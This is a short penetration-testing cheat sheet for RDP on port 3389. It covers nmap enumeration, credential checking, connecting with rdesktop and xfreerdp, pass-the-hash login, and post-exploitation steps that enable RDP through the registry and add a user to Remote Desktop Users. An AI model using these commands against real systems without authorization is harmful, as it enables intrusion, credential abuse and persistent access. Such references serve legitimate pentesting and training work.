PORT 3389/tcp RDP

Introduction

Remote Desktop Protocol is a proprietary protocol developed by Microsoft which provides a user with a graphical interface to connect to another computer over a network connection. The user employs RDP client software for this purpose, while the other computer must run RDP server software

Enumeration

With nmap we can enumerate the service a little bit, and obtain information such as the DOMAIN or the HOSTNAME. Also checks available encryption and DoS vulnerabilities.

nmap -sV --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 <ip-addr>

Checking Credentials

With rdp_check we can check credentials.

rdp_check <domain>/<username>:<password>@<ip-addr>

Connect via RDP

rdesktop

rdesktop <ip-addr>
rdesktop -u <user> -p <password><ip-addr>
rdesktop -d <domain> -u <user> -p <password> <ip-addr>

xfreerdp

xfreerdp is an X11 Remote Desktop Protocol (RDP) client which is part of the FreeRDP project. An RDP server is built-in to many editions of Windows. Alternative servers included xrdp and VRDP (VirtualBox).

xfreerdp /d:<domain> /u:<user> /p:<password> /v:10.10.10.10
xfreerdp /u:<user> /p:<password> /v:10.10.10.10

Connect RDP via pass the hash.

xfreerdp /u:<user> /pth:e3071bcf8c3ad25c891a8898f56aa62b /v:10.10.10.10

Other configurations.

/workarea                        Full Window
+clipboard                       Enable shared clipboard
/drive:share,/mnt/folder        Create a Shared folder

Post Exploitation

With mimikatz is possible to obtain the current sessions and connect it. Check section **Hijacking RDP Session ** to more info.

Get Credentials

Enable RDP

When we fully compromised the server we can enable RDP.

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

And add the user or group to the Remote Desktop Users group.

net localgroup “remote desktop users” user  /add